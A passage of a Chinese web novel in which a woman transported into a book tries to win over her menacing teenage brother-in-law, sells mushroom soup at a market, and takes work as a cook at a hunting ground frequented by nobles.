眼前少年安**着,脸上端着恭顺和无害,尤其是那双眼,生得好看极了,但因为眼尾细长微挑的弧度,却给人一种既听话乖巧,又危险至极的错觉。
沈木兮压下心头混乱的思绪,站起身时脸上挤出一抹笑,柔声说:“景愿,我出去打水,顺便找蔡大娘借个热水壶,你在家里等着。”
她出去了。
不到一瞬后,里面的少年也有了动静。
谢景愿确定四周无人,天色渐暗,绕到了后面的树林,身影很快没入了黑夜里。
藏在草垛后的沈木兮探出头,悄无声息地跟了过去。
他似乎时常走这条路,对这里很是熟悉,扒开沿途的树枝后,少年很快来到了这片山林的深处。
为了不被他发现,沈木兮不敢再贸然往前,只能躲在这附近的茂林中。
隐隐可见,前方黑夜下,少年身处之地,传来了一阵窸窸窣窣声。
半晌后他走了出来,手里提着一直刚抓来的野兔。
然后来到溪流边,眼也不眨的剁掉兔子的头,给兔子扒皮。
他神色冷漠,漂亮精致的小脸,在夜暮里如同一副绝美的画卷,可手里娴熟处理动物尸体的动作,和那染了满手的鲜红,却无比刺眼。
沈木兮看得心惊战胆!
她还注意到,他不仅仅是简单处理了兔子,还把兔子尸体每一块骨头的连接处都给掰断。
而他那双从来都是覆着自卑和阴渗光芒的眼眸,在此刻,却像是有了一丝亮光。
他在激动……!
沈木兮忍住胃里澎涌而出的恶心感,捂住心口,屏住呼吸!
最后,只见他提着处理好的兔子尸体,来到了一旁的树林里。
后面的场景,沈木兮已经不敢再看!
他这是,把对自己的恨意,转移到了兔子身上?然后活活折磨了兔子后,再把兔子生生吃掉吗!
沈木兮眉心紧皱,一时间说不出自己心里是怎样的感觉!
害怕?惊恐?
还是,更深的担忧……
她实在是忍不住了,再也看不下去,转身跑回去,在村里小路上狂呕了起来!
与此同时,山林深处,清风徐徐的树影下。
少年正抚摸着眼前庞然巨兽的毛发,给它一点点喂着手里精心处理过的兔肉。
月夜渐浓,他的表情却是从未有过的安静平和,唇边甚至还带着一丝像是笑的弧度。
“你身上的伤快好了,今后就自己捕猎。我……最近不能再来见你了。”
谢景愿的眼神变得暗淡。
他知道,今日林氏来过,沈木兮虽没有说,但肯定是在怀疑了。
沈木兮若知道了老虎的存在,肯定会让乔二壮来处理。村民都晓得有头流窜出来的老虎,它若被抓去,下场一定很惨。他不想让她像伤害自己一样,去伤害它。
老虎像是明白了他的意思,一双兽眼也渐渐黯然,用着自己的虎头,不停蹭着谢景愿的身子,发出一阵阵不舍的猛兽低嚎。
……
谢景愿从茂林出来后,在溪水边洗干净手,又把衣服上的污秽擦去,做好一切后准备回去。
离开时,他突然发现了不对劲。
这片地方因为道路崎岖,平日里很少有人来,这里的野草一向杂乱。
可那边树下的杂草,却像是被人踩踏拨弄过。
他抬起幽暗双眼,走了过去,扒开野草,那靠近溪流的湿润泥地上,赫然是一双脚印……
这印记,他死都不会忘。
曾经,她便是这双脚踩过他,碾过他。
无尽欺辱。
她的确令人可恶,偏偏这双小脚,生得无比精巧白皙。
他偷偷量过她的尺寸,幻想过长大杀了她后,留下这双玉足……
暗夜里的山风比方才凌厉了几分。
少年的眼尾也愈发变得湿红。
等他回了家,已经是小半个时辰后。
她已经知道了他的秘密,那她会不会后悔了在林氏跟前对他的维护?甚至已经跑去找乔二壮揭发他?
无论她做出什么,他都不奇怪。
可是等他到家时,却看到家里许久没见烟火气的厨房木棚里,正咕噜噜煮着什么东西。
屋子里也灯火通明。
而沈木兮,正在家里忙前忙后准备着。
“景愿,回来了?我还到处找你呢,今日事情多,这才把饭弄好,快来,尝尝我今日给你炖的菌子汤,可鲜了!”
沈木兮闻声抬头看来,表情如常,没有半点要和
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他对峙,或是要揭穿他的样子,反而还对着他笑。
这让谢景愿很意外,他皱了皱眉头,袖子里一直藏着的尖木棍,也缩了回去。
“愣着做什么,快坐下啊。”她盛了碗汤递来,因为烧火做饭,小脸红扑扑的,像是一颗快熟透的蜜桃。
她正眼神亮闪闪地盯着他,期盼他喝下后的反应。
谢景愿低头看去那碗汤。
这菌子是他们今日一起去采的,不得不说,虽然还没有尝,但这野草熬的汤闻着当真很鲜,热腾腾的冒着他从未感受过的香气。
可他的心,却没有感到一丝暖意,反而愈发的寒如冰彻。
明明知道他私下喂养了老虎,还晓得是他杀了那群人,她何须还要继续表现得这样温柔。虚伪的让人恶心。
那一股想拿出手里的木棍戳向她心口,将她戳成千百个血窟窿的欲望!炽热又强烈,逐渐在他心底里攀升。
但他表面却愈发的恭顺乖巧。
“好,嫂嫂辛苦了。”
他端起碗,却在沈木兮转身后,偷偷把汤倒了。
等沈木兮转头看来,见到那空碗,眼睛都亮了:“景愿,你喜欢喝吗?我再给你盛一碗。”
她拿着碗去了木棚。
出来吹了瞬冷风,沈木兮脸上的笑意消失,捂住怦怦乱跳的心口,撑着旁边的墙壁,这才算是冷静了下来。
方才回来,她第一时间就着急翻找了整个屋子,不仅从他的被褥下翻出了一个药包,还有一些用木头削成的小刺片。
原来,他要杀她的心,从这么早就有了吗?
曾经他在文中做过的一件件可怕的事,都尽数在沈木兮脑海中翻涌!
“嫂嫂?”
谢景愿在屋中等了许久,等不住走了出来。
屋外静悄悄的,一个人也没有,只有地上,女子急促离开留下的脚印。旁边的木棚里的柴火已经熄灭,少了暖意,多的是山风微凉。
谢景愿回身,走进屋内。
他的小床被重新叠过,东西也被一一放好,但再怎么事无巨细,人在慌乱之下,还是会出现纰漏。
就好比,那洒在地上的一点**粉。
到底是被发现了。
谢景愿睫羽低垂,如蒲扇般轻颤。
他知道,她逃了,而且再也不会回来了。
第17章 苍天!她真的不是故意的
谢景愿不意外,平静地看着那漆黑不见底的深夜,默默回到屋中,收拾完了一切,关上了门。
可这破屋四面漏风,夜里山林比白日冷,他怎么都暖不起来,在孤寂的冷风中,身子颤抖的蜷缩在小木床上。
连最后是怎么睡过去的,也不知道。
夜深时分,木屋门前响起一丝动静,床上睡着的谢景愿被惊醒,他摸向枕头下,拿出木片刀,一点也没迟疑地对着那人的脖子横去!
那黑影踉跄了一步,声音颤抖,一边后退,手还一边抓住他的被子!
“景愿别怕,是我。”
听到是沈木兮的声音,谢景愿满脸惊愕,身影都僵住了,抓着那木片刀的手一松,或是对眼前之人打心眼里的害怕,眼底狠戾尽退,刀瞬间跌落在了地上。
“我方才出去找人问了问明日赶集的事,找人租了个牛车,明日咱们就去卖菌子。”她说。
得知她并没有逃离自己,谢竟愿非但没有高兴,更没有安心。
他眉心紧皱,额前汗珠一粒接着一粒,手紧紧攥着床单!
像在隐忍!
黑暗里沈木兮看不太清,只觉得他的呼吸变得急促和灼热,她压下来,担心地问:“怎么景愿?是生病了吗?”
等到四周氛围越发的紧张,她这才意识到不对劲。
自己为了安抚他,不知何时已经压在他身前,正俯身紧贴着他说话。
“景愿,你……”
谢景愿却别过头去,身子僵硬紧绷,显然是一点也不想看她。
沈木兮一句话也说不出来。
这一夜,二人一夜未眠。
等次日醒来时,顶着两个熊猫眼。
帘子一掀,竟见对面的少年也和她一样,眼下一片乌青。
很显然,昨夜一夜未睡的人,不仅仅是她。
沈木兮在心里哀叹。
他怕是一晚上都在筹谋怎么杀自己!看那黑眼圈,比她的还浓呢……
沈木兮还在迟疑如何开口,谢景愿已经乖巧地把被子叠好,垂着头说:“嫂嫂,我出去打水了。”
一切如常,宛若什么也没发生。
不愧是心思深沉的男二。
吃了早饭,两人就准备一起去镇上卖菌子。
昨夜去找蔡大娘帮忙找牛车的时候,她一听到沈木兮要卖那些东西,就一副欲言又止的样子。
沈木兮知道这个世界的人不懂菌子的鲜美,所以提前做好了准备。她不仅仅是卖生菌,还提前把菌子做成了成品,一起带上。
可现实并没有她所想进展的那么顺利。
到了镇上,已经在街边干坐了两个时辰,一个来买的都没有。
连她提供免费试吃都没人来。
“大家都来瞧一瞧,看一看!”
“鲜到掉眉毛的菌子汤!不好吃不要钱!”
饶是沈木兮嗓子都快喊哑了,愣是没一个人朝着他们这边走来。
盯着来来往往,就是不朝他们摊位瞅一眼的人群,沈木兮撑着脑袋,百无聊赖地趴在牛车上。
谢景愿站在旁边,正在看书。
书是沈木兮给他买的。
沈木兮觉得他跟了自己后,就没好好上过学了。也不知跟的不跟上,像是他这个年岁,学院都不收了。只能买一些书先给他看着。
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为了熏陶他的心理,让他有一个健康的成长环境,沈木兮特意买了近日火热的哲理诗词。
先前买的时候,排队都排了她快一炷香呢。
谢景愿看着那瘫坐在牛车上,一边甩着狗尾巴草,一边还在叫卖着的沈木兮。
再低头看了眼手里几本书册的名字。
‘怜春宫……出墙记……’
以及里面细致描绘出的各种香艳片段。
再想着先前她眼神晶亮,跟捧着宝贝似的,把这些书给他,还拍着他的肩膀,那副殷切又期盼的样子。少年眉心便皱得越发的紧。
她,是在暗示他什么吗?
是不是他再“乖”一点,她就不会再把他卖去窑子了?
谢景愿捏着那话本子的手紧了紧,几番想要丢掉这令人作呕的东西,可出于对沈木兮的害怕,最后还是迫使自己看了下去。
这时,摊位前终于来了一个老婆婆。
沈木兮赶紧跳下牛车,准备给尊贵的第一个客人介绍。
她还没说话,有人就提着菜篮子撞过来,拦住了那老婆婆:“老人家千万别买!哼,别说是不要钱了,就算倒贴银子,也不吃她的东西!”
沈木兮认识这个女人,是他们村里的。
前几日在河边洗衣服时碰到过,好像一直瞧她不顺眼。
那妇人拍了拍手,很快**了一堆人来,她扯着嗓子嚎!
“大家都来瞧瞧!这沈木兮,各位都有听说吧!这个女人一向疯疯癫癫,又好吃懒做,还喜欢以折磨小叔子为乐。今日居然跑出来卖吃食了?她的东西,能吃吗?”
沈木兮:“……”
第18章 给谢景愿买的小人书
妇人话落,旁边的人开始交头接耳起来。
“原来她就是那个从京城被赶来的谢家娘子!听说啊,她不仅仅折磨小叔子,还让小叔子学狗吃饭,连床都不让上呢。原本好端端的孩子,被她养得品行不端,偷鸡摸狗!简直是作孽啊!”
“你们看她卖的都是些什么东西,怎么和我家喂猪的野草差不多呢?”
“还真是!沈木兮,我看你真是想钱想疯了,真是越发的疯癫!我看还是快把这疯娘们捉住,送去官府吧!”
这些偏远地方的人,一向都是听风就是雨的,况且原主的名声的确遗臭方圆十里,一个人嚷嚷,其他人也跟风附和。
有甚者,还朝着她丢来了烂菜叶子!
“疯女人!”
动静闹得越发的大,沈木兮不仅仅被人**,谢景愿也没幸免于难,连牛车都差点翻了。
“静静!大家都静静!”
沈木兮把谢景愿护住后,艰难地站到了牛车上,扯下头上的菜叶子扬声道。
“我承认自己以前是做的不对,但现在我已有心悔过。再说,你们要把我带去送官,那敢问我犯了哪条罪?”
众人顿时鸦雀无声。
这倒是,卖东西也没犯事啊!
“呀,那是什么?”有人眼尖,看到谢景愿脚边散落的几本书。
走来了一个书生,捡起后一眼认出这是什么东西,脸涨得通红,一脸气愤,指着她,“你居然给小叔子看这些污秽东西!”
什么?
这不是诗词吗?她并不认识这个世界的繁体字,当时只瞧着买书的人多,有些人为了争抢,还打了起来。
她问了书贩,说这是那些富家子弟们最喜欢看的东西了,京城里也十分热销。只是太贵了,沈木兮一时有点舍不得,但咬咬牙,她还是忍痛买了。
原来这居然是……!
沈木兮现在当真是有理说不清了,她攥着拳头,看了眼旁边身上挂着菜叶子,垂着头的可怜少年,从牙缝里挤出一句。
“谁说是给他看的了……”
众人齐刷刷看向沈木兮,神色惊愕。
“咋了,我自己看不行吗?”她红着脸上前把书抢了回来,抱胸说,“即便人家能卖,就代表着是合规矩的。我没偷没抢,正大光明买回来,没犯法吧。”
众人:“……”
“我明白,大家伙儿讨厌我,那今日正好有个报仇的机会!”
“这样吧!大家都尝尝这菌汤,若是不好喝,我赔你们三倍!怎么样,想不想让我赔得亵裤都没了?”
沈木兮拍着胸脯,朝着众人挑眉!
谢景愿抬头看了她一眼,又默默垂下了头,在无人觉察的角落,偷偷把那几本书拿过来揣进了自己怀里。
现场百姓面面相觑,心想这女人守寡不会真守疯了吧?
和乱糟糟的街边相比,不远处的街道上却是春风十里,金光洒落,晨曦微露。
一辆低调却不失华贵的马车正穿梭在人群里,无论是马车的装潢,还是随马车同行的骑马侍卫,都无一不透露着他们的身份尊贵。
帘子被里面的人挑起,传出一道少女的银铃轻笑,带着一丝好奇。
“兄长,你看啊,那个乡野女子莫不是个傻子吧,哪里有人这样卖东西的?”她偷笑着说。
车内还坐着其他几个年轻公子,个个锦衣华服,样貌不凡。
方才说话的妙龄少女,更是颜容娇美,两颊如桃李,双眼里带着灵气,一身的精致绫罗绸缎,仅凭手上的玉镯就能买下这一整条街。
“我看就是个傻子。”少女的哥哥嫌弃地瞥了眼说。
另一个绿衣公子也附和点头:“可不嘛,还是我们苒妹妹的厨艺好,上回做的那几道菜,我到现在还忘不了呢。”
少女被他打趣的脸颊通红。
“哪里,我只是随便做做的。”
“随便做做都这么好,认真起来可不得把御膳房的御厨都给比下去?更别说是那个愚蠢的乡下女人了。”
“别这样说,那女子也是为了生计,迫不得已。只是厨艺好坏,不仅仅靠天赋,也要靠学识。”
“那是,这就是一群没读过书的蠢人!”
“哎呀,我不是说人家没读过书。不过身在乡下,读不上书也是正常的,
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但这并不值得我们嘲笑。”少女急声解释说着,眼神悄然瞥去了坐在里面,最沉稳安静的男人。
男子生得丰神俊逸,端坐如山,双眸半阖,晨光熹微下,顺着溜进来的光影,可以看到他平放膝盖上的镶金玉扳指,闪耀着灼灼金光。
人群里的沈木兮,像是被这道金光给刺到了眼睛:谁在**?
有钱也不能这样显摆吧。
她别过身,没注意到那辆驶来的车辆。
在方才沈木兮的“挑衅”下,还真有人上道。
“来,给我来一碗!我倒是看看这是个什么玩意!”
沈木兮乐滋滋地给那人盛了一碗,还多放了些葱花点缀。
马车里的公子见真有人试吃,不禁撇嘴好笑道:“果真是偏远地界,都是一群见钱眼开的粗鄙之人!那东西,跟个猪食一样!我们快走吧,别沾染了这晦气。”
街边那人喝下后,显然是一愣,眼神陡然就变了,眉头紧皱,啪的一声把碗摔在地上!
看热闹的百姓们都以为沈木兮今日要赔大发了,没想那人中气十足大喊了声:“好汤!好汤!再给我来三碗!”
众人惊呆了,可见那人的确一碗接一碗的喝,纷纷上前尝试,每个人都是一样的双眼放亮。
“猪食”原来这么美味吗?
早知道那谁还给猪吃啊!
“再来一碗!”
“我也要!”
沈木兮一边给人盛汤,一边卖菌子,忙得不可开交,还不忘提醒谢景愿收银子。
马车里的几人纷纷哑口,连那少女的脸色,此刻也有些说不出的尴尬。
那绿衣公子更是张大嘴巴。
“我可不信这能好吃,我要去看看!”
他跳下车穿进人群,高傲地昂着下巴,甩下一锭银子。
“快给小爷来一碗。”
沈木兮抬头一见是个锦衣华袍的白脸小公子,微愣后,抱歉地说:“不好意思,今日的汤品准备的少,已经卖没了。”
“谁说的,那不是还有一碗?”绿衣公子指着案板上道。
“不好意思,这碗不卖。”这是她提前给景愿留的。
第19章 京中小霸王
“你这人真有意思,明明有却不卖,嫌少?那我给你二两银子!这不仅仅能买你一碗汤,连你这牛车都能买下七八辆了吧!”
沈木兮第一次出摊就遇到个来**的,也不惯着对方:“这是我的摊子,不卖就是不卖。见公子穿着金贵,当是读过书的,可这规矩讲不通,话也听不懂,不知是天生脑子愚钝,还是不会做人?”
“若是不会做人,那我教你,一个月不包吃住,收你三百两也就是了。但若是脑子不行……”沈木兮摸着下巴打量着他,啧啧出声道,“就只能劳烦你回去告诉爹娘,趁着朝廷还没计划生育,再加把劲吧。”
现场人一听,都纷纷忍俊不禁,已经憋不住一个个的笑瘫在地!
这谢娘子真是好一张利嘴,还好他们方才没招惹她。
“你!”绿衣公子被怼的面红耳赤,他在京中就是小霸王来的,谁都是捧着他,顺着他。哪里敢这样骂他的?偏偏他还找不到回怼的话来。
沈木兮懒得和这人多废话,收拾完了牛车,冷哼一声,对着谢景愿道。
“景愿,我们走。”
谢景愿一直站在旁边,自打到这后就没说过话,此刻也是沉默如金。
转身时,他却瞥了眼那公子身上的玉坠子,眸光动了动。
绿衣公子像是斗败的公鸡,丧气地回到了车内。
“七……七哥,我……”
里面那端坐的男人缓缓睁开眼,瞥去他:“现在知道人外有人,天外有天了吧。”
“今日是我没发挥好,下次我再遇到这女人,一定不让她好过的。”绿衣公子攥着拳头说!
男人不悦皱眉:“我们来这,不是陪你瞎闹的。你随意去和这等乡野中人斗嘴,合身份吗?没有下次,走吧。”
“哦……”
沈木兮可不怕惹事,再者也是对方不讲道理,买卖自愿,她又没错。
带着谢景愿,一路驾着牛车出了城。
“景愿,这是给你留的,趁热快喝吧。”
沈木兮端出那一碗汤。
谢景愿捧着,没有要喝的意思,垂头盯着那碗的眼神有几分阴暗幽怨。
这是旁人要过的,他不喜欢。
上次见沈庚被沈木兮欺负,晓得她不仅仅只讨厌他一人,心里是痛快的。
可今日,看到她教训那个绿衣公子,他又觉得,她对谁都是一样,没有例外。
再看着这碗被人要过的汤,心中是说不出的阴郁。
沈木兮没发现他的异样,正在数着今日赚得的钱。
“若是照着这样下去,过不了几个月,我们就能换个大房子住了。”
若是可以的话,还能把谢景愿早些送回京中。
沈木兮觉得乡下的教育实在缺失,还是得去大城市开开眼界。
是以回京,一直是沈木兮的目标。
况且,回京后就能遇到女主了。
等女主出现,她的任务也就完成了。
住在一起这么久,要说离开到底是有点不舍得。
但感情再深,也比不上保住小命要紧。
想着那夜密林里的所见,沈木兮更加认定了要离开的事。
“景愿啊,等明日,我们再来摆摊……”就算要走,也得先赚够逃命钱。
话还在嘴边,牛车突然一个剧烈的晃动。
紧接着连人带车,生生在乡野路上侧翻了过去!
人没出事,可牛车损失严重,连那些炉子和锅碗瓢盆也一起被毁了个干净。
可好端端的,牛车怎会翻?
沈木兮从泥水里爬起身,看了看才知道原来是牛车的车轱辘坏了。
奇怪,来的时候她检查过,没问题的啊。
沈木兮狐疑的眼神,落在旁边一样浑身狼狈的谢景愿身上。
但很快又打消了这个念头。
他只是恨自己,可牛车又没招惹他。况且就算要搞死她,他不也在车上吗?
虽然牛车坏了可惜,但人生就是这样,有得必有失。
看来在牛车修好之前,最近这段时日是摆不了摊了。
整理完了还能用的东西,沈木兮牵着牛和谢景愿走回了村里。
本以为这
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几日只能在家里凑合,没想到回村就听到蔡大娘带来的一个好消息。
“谢娘子,好事,天大的好事啊!你知道江州城群山那边的猎林吗,那里正在招厨娘呢。你的厨艺不错,可以去啊!”
“猎林?”沈木兮眼睛一亮,这地方她是知道的,在那边游玩的都是从京里来这的权贵子弟,全是真正的高门。
摆摊什么的,都是赚点小钱,去那边才是赚大钱。
正愁待在家没事做,沈木兮想也没想便点头。
“那好,我明日就去。”
“不许去!”
少年声落,沈木兮转身,对上谢景愿盯着她那格外通红和幽暗的眼神,一时愣住。
他好像很少这样激动?
“景愿,怎么了?”
面前少年那双平日就湿润的眼睛,此刻更像是氤氲着一片雾光,他似乎是真的生气了,却也只敢小发雷霆。
说话的声音也越来越小。
“我不许你去……”
湿漉漉的双眼,衬着那张将委屈具象化的精致小脸,让人看得心都要碎了。
奈何他眼尾微垂着,沈木兮的第六感捕捉不到他真正的内心涌动……若沈木兮知晓了他此刻真正的心中所想,怕是马上跑路的心都有了!
谢景愿知道她一直想再嫁高门,猎林那边游玩的都是京里来的权贵子弟,她这么爽快答应过去,为的是什么,他比谁都清楚。
可她不能走。
他还没好好长大,没有亲手放干她的血,刮下她的肉。
她怎能走呢?
不可以。
可是他再次抬头,对上沈木兮坚定不容更改的眼神,谢景愿又像是变成了泄了气的皮球,弱弱的焉了下去。
他算什么呢,她从来都不会听他的话。
谢景愿不再说话,像是一只委屈的小狗,紧抿着双唇,眼神倔强又幽怨,十分难受的样子,转身跑了出去。
沈木兮追到门前时,便见他拿起斧头,一语不发,沉闷地在外面劈起了柴。
她紧皱眉头,但转瞬又舒展了。
第20章 没有丢下他
以前的谢景愿在她跟前,就是个漂亮精致,又听话乖巧的木偶娃娃,看似一点脾气也没有。
也因为什么都憋着,才把自己憋成了个小病娇。
她巴不得他能有自己的小脾气呢。
这是不是代表,她和他的相处这段时间,自己已经逐渐打开了他的内心?
那就更得去了!多见见人,见见世面!
谢景愿这一砍,便砍到了傍晚。
期间沈木兮也去劝过,可他不为所动,她怕他一个不高兴,直接拎着斧头朝自己身上招呼去,像是那只兔子一样,被他碎成两半,一时也不敢凑得太近。
只好先去煮好了晚饭。
锅碗瓢盆之前都和牛车一起被摔了,只剩下唯一一个好碗。
沈木兮今夜煮的是肉丸子汤,自己喝了两口,便准备把剩下的全部给他盛上。
刚喝了口,外面的动静停了。
沈木兮转身,便见一只手大力地撑在门板上!重重的啪嗒一声,门板都剧烈一声响,惊了她好一跳。
接着入目是那坚硬又流畅的手臂线条,和一点点划过他喉结脖颈,不停滴落而下的汗珠子。
汗水随着他胸前沟壑往下滑落,在少年紧实的腰腹间晕染开,透着一股少年青涩的野性张力。
同时也带着一股压迫。
沈木兮突然就不敢动了,身子下意识往后一退,纤腰抵在了灶台上,禁不住闷嘤了一声……差点就后仰了去,狂咽唾沫!
以前没注意,他看着是瘦,竟是有点东西的……
而后抬眼,对上少年那双赤红又阴渗渗,正紧盯着她的双瞳!
沈木兮又是一震。
这哪里是他往日恭顺自卑的模样,分明就是一匹快失控的疯狼。
和梦里他疯狂的样子,几乎快完全吻合了!
沈木兮呼吸加剧,额前溢出几滴汗,因为后仰而高高挺起的胸口随着呼吸,正在剧烈地上下起伏着,声音也仿佛被他这突然的气势碾成了水,就这样从她红唇边漾了出来:“景愿~你……”
“我把柴劈好了。”他别开眼走了进来,声音沉闷,像是使了一下午的力气,此刻饿极了,端起沈木兮旁边那碗丸子汤就咕噜噜喝了下去。
沈木兮脸色一变:“别!”
这是她刚吃了剩下一半的啊……
谢景愿没感觉到半点不适,入口时好像眉头都舒展了,仿佛这一碗半凉的丸子汤,比锅里热气腾腾的还要美味。
像是一头炸毛的小狼崽,被莫名顺了**,连阴鸷收缩的瞳孔都变得清明圆润了几分。
以前不知道,她的厨艺这么好,这汤的确好喝。
可这么好的汤,她以前从不给他喝。
连刚刚他喝这碗时她也一脸的欲言又止,想抢回去的样子。
再一转头,看到旁边放着的几个包袱,他的脸色更是又暗了下来。
收拾了这么多东西,看来她是真打算去傍上高门,至此不再回来了。
谢景愿默不出声地放下碗,转身出去了。
听到棚外冲凉的水花声,准备跟过去的沈木兮生生止住了步子。
他回来时,也没看她,一语不发地钻进了被窝。
沈木兮不知道他在闹什么别扭,难道是不想和自己去猎林吗?
若他真的真的不想去,自己当真依旧要硬逼着他去融入新世界吗?
这一夜,各怀心思的两人又是一夜无眠。
次日清早,得知沈木兮要前往猎场的蔡大娘,老早就过来送东西了。
“都是我自己做的烙饼子,你们带上饿着也能抵过一阵,那猎林虽然也在江州城,但还是有一段路途的。”
沈木兮很感激的谢过,将烙饼子放在了驴背上。
这乡野里可没有什么马儿,有也极贵的,她还得攒钱回京,只能雇一只驴子来驮东西。
谢景愿从旁边走过,脸色冷冷的,眼下也是一片乌青,几分憔悴,俨然是昨夜没睡好。身上的衣服也还是穿着昨日的。
沈木兮皱眉问:“景愿,给你放在床上的新衣服,你怎么没穿?”
那是沈木兮花了足足一两银子买来的好布匹,还特意让人去做好的。连她自己都舍不得穿那么昂贵的料子。
谢景愿没有理她,闷闷地走去了木棚。
蔡大娘问:“这孩子是怎么了?”
沈木兮望着他的背影,漫不经心的说:“没什么,估计是昨夜太……累了吧。”
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砍那么久的柴,是挺累人的。
原本她还在迟疑,现在看到他又是这副沉默寡言的样子,便决定好了。不管怎样,还是要带着他走出这第一步,去融入真正的世界,无论他多么不愿,这一步都必须踏出的。
蔡大娘回想起昨夜,看到谢景愿在那棚子后冲凉的场景。
当时离得远,只见他眼睛通红,不停朝着脑袋上一盆盆倒着凉水……那抓着木桶的手臂,青筋暴起,呼吸灼热,仿佛刚经历了什么不可言说的事。
蔡大娘偷笑:“原来是这样,这年轻人身子骨就是好。”
折腾一晚上今日也没事。
沈木兮笑得有些尴尬,生怕蔡大娘又语出惊人,把东西全部放好,朝着那边还在木棚里瞎捣鼓的谢景愿说:“景愿,走了。”
走了……她要走了……
还需要特意打个招呼吗,这样的施舍,和那身临别时才给他的新衣服一样,令人厌恶。
谢景愿没动静,心中想她即便真的离开了,他也要好好活着。至少,装也要装得淡定平静,不能让她看出自己的一点软弱。
他才……不会去求她留下的。
见他还不动,沈木兮眉心拧得更紧了,又催促了声:“怎么了?快过来啊,要上路了,我们再不出发,到了猎林天就黑了。”
木棚里少年的背影,突然僵直了瞬,抬起的双瞳里划过一道惊愕异色。
从沈木兮的角度,只能看到他呆若木鸡的背影。
沈木兮以为他这反应是哪里不舒服,正想过去看看,刚拴好驴子转身的功夫,他的身影已经不见了。
人呢?
她左右四望,最后却见他不知何时已经来到了驴子旁,身上背着个小包袱,手拉着驴绳,拉得还有些紧。
“嫂嫂,我准备好了。”他低声说着,睫羽在光影下阵阵抖动,像是在迫使自己压制着什么。但还是能听出他的尾音带着一丝难得的轻快。
沈木兮微愣,眼神狐疑地打量了眼他身上的小包袱。
这是什么时候的包袱,好像不是她给他准备的吧?
她也没细问,和蔡大娘告别了后,在那耀眼的日露朝霞里,开始了她和景愿的新征程!
第21章 想她
猎林离他们的这个村落有三十多里,在这样物资缺乏的异世古代,赶驴能赶一天。
等他们两人紧赶慢赶到的时候,天已经黑透了。
好在是安全到了猎林的入口。
可等到沈木兮去询问应聘厨娘的事时,这里猎林的守卫瞧了眼她的瘦小身板,对视一眼,都齐齐笑出了声!
“就你来应聘?”
两人显然是有些惊讶的,不是因为这小女子看起来不像是个经验老道的厨子,而是惊讶真的会有人敢来!
猎林里的活儿,那都是伺候贵人。看起来是比山村里一般的粗活金贵,赚的银子也多,可这里的人那都是真正京城高门,稍微有点纰漏,小命就得玩完。
上一个厨娘,便是因为菜不合贵人的胃口,被那个小姐活活拴着拖在疯马身后,给生生拖死的!尸体还被猎林里的野兽追着啃咬,连具全尸都不剩!
招聘放出去好些天了,都没人来。
也因为如此,这消息隔这么远,还能传到江州偏僻乡野里的蔡大娘耳中。
“是啊,我连招聘告示都带着呢。”沈木兮从谢景愿的包袱里拿出告示,不小心碰到了他的手腕。
少年的手像是被什么烫到了骤然蜷缩,眼神直勾勾盯着她那勾过自己的指尖,和皓腕上正在跳动的血液脉搏……想象着里面的滚烫鲜红,他喉头开始有些泛渴。
好想,这样咬上一口。
想知道这个恶毒又贪恋富贵的女人,她的血会不会也是恶臭的?
又会不会……像是她每次沐浴后,浴桶里余下的涟漪一样,泛着沁人的香。
回想起曾经那一寸寸浸过他指腹,残留着她体香的流动。
他几乎有些控制不住了,眼神阴郁又带着某种亢奋。
前面的守卫的声音却打破了他的思绪,回到现实中的谢景愿,脑袋恹恹的耷拉着,因为在人前必须克制,垂下的眼神有些委屈。
那守卫好心地说道:“你这个小女子到底知不知道,上个……”
另一人咳嗽了声,笑着接过了沈木兮的告示,给同伴递了个眼色。
最近又来了好些贵人,没有新厨娘跟着伺候,受牵连的可是他们。
反正是她自己送上门的,后果自负。
两人达成了共识,转头看去旁边抱着包袱,还牵着一头驴,假装望天没看他们谈话,耳朵却一直偷偷竖起的沈木兮,点头!
“行了,你进来吧。有人会带你去猎林后厨房的。”
沈木兮吐出一口气,还以为要考核什么的,没想到这么容易。
不过说来也奇怪,这么好的活儿,这一路上走来,都没见什么人,就他们俩着急忙慌的往这边走?
沈木兮抱着包袱说了句感谢,正要进去。
守卫突然抬手,面色严肃:“等等!你可以进去,他不行。”
那人指着后面跟着的谢景愿。
方才天黑黢黢的没注意,这后面怎么还跟着个少年!
“他是我的人,必须得跟着我一块儿的。”沈木兮连忙解释,“放心,他吃不了什么东西,至于住的话和我凑合一间屋子也就够了。”
“那也不行!真当猎林是你们村里啊,什么人都能进了?要么你自己进去,要么你们一起滚蛋!”
沈木兮顿时迟疑了,转头看去旁边垂头站着的少年,几番欲言又止。
最后还是开了口。
“景愿,方才在路上看到有一些沿路客栈,你过去先住一两天。给我点时间,我安顿好这边后,最迟明天晚上,无论这边情况如何,我都一定会想办法去接你的,好吗?”
谢景愿低垂着头,许久没说话。
这样的沉默,让沈木兮一时间有些忐忑不安。
他会不会觉得,自己这是故意要把他丢弃了?
可是她不能这样带着他进去,她直觉这么顺利,里头许有古怪,或是什么隐藏的事。自己这边都还没安置好,怎能带着他进去冒险。
“你真的会来接我吗?”谢景愿突然抬头问。
最近沈木兮的改变,他看在眼中,虽然这并没有让他彻底改变对她的看法。但她此刻的眼神里的真挚,和那安抚他时,眼中的不舍和星星,让他觉得,或许自己可以
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试试相信她一次。
若是她做到了,他便相信她在沈家人身前的话。若骗了他,他会让方才的所想,都一个个变成现实。
“好,我自己去客栈住。”
他的懂事和这般的主动回答,让沈木兮很是欣喜!
“好好好,你放心,我一定会去接你。”
一定会的。
在猎林的第一晚,沈木兮被人安排到了猎林的山腰小帐篷里。在这猎林里,那些冬暖夏凉的山间木屋都是贵人住的,像是她这样身份的人,都是住在现搭的地方。
随着主子人去何处狩猎,她们也能随时跟去。
这个小帐篷中除了她,还有几个奴婢。
沈木兮心想,这倒是和大学宿舍没什么区别了。
她抱着友好的态度,主动打了招呼,大家各做各的,没有搭理她。
沈木兮也不再自讨没趣,今日赶路累了一天,直接抱着包袱就躺床上先睡去了。
来都来了,这个地方就算藏着古怪,也跑不了,明日再说吧。
旁边的几个人见她睡了,交换了一下眼神,悄然来到屋外。
“这就是新来的厨娘?”
“才搞走了上一个,怎么又来一个。”
“若她真留下了该怎么办?”
像她们这样的身份,想要飞上枝头,就只能接近来这里的高门公子。之前被贵人看中带回京城的,便是猎林里的一个年轻美艳的小厨娘。
也因此,其他奴婢们也动起了心思。
除了先前那个得罪了权贵小姐被生生折磨死的厨娘,其他的厨娘,都是被她们给想法子弄走的。
因为还有个老厨娘,膳食方面不是问题。只是少一个帮手,忙起来实在麻烦,所以猎林才一直在招人。
这个新来的虽是个乡巴佬,但长得确实有点姿色。
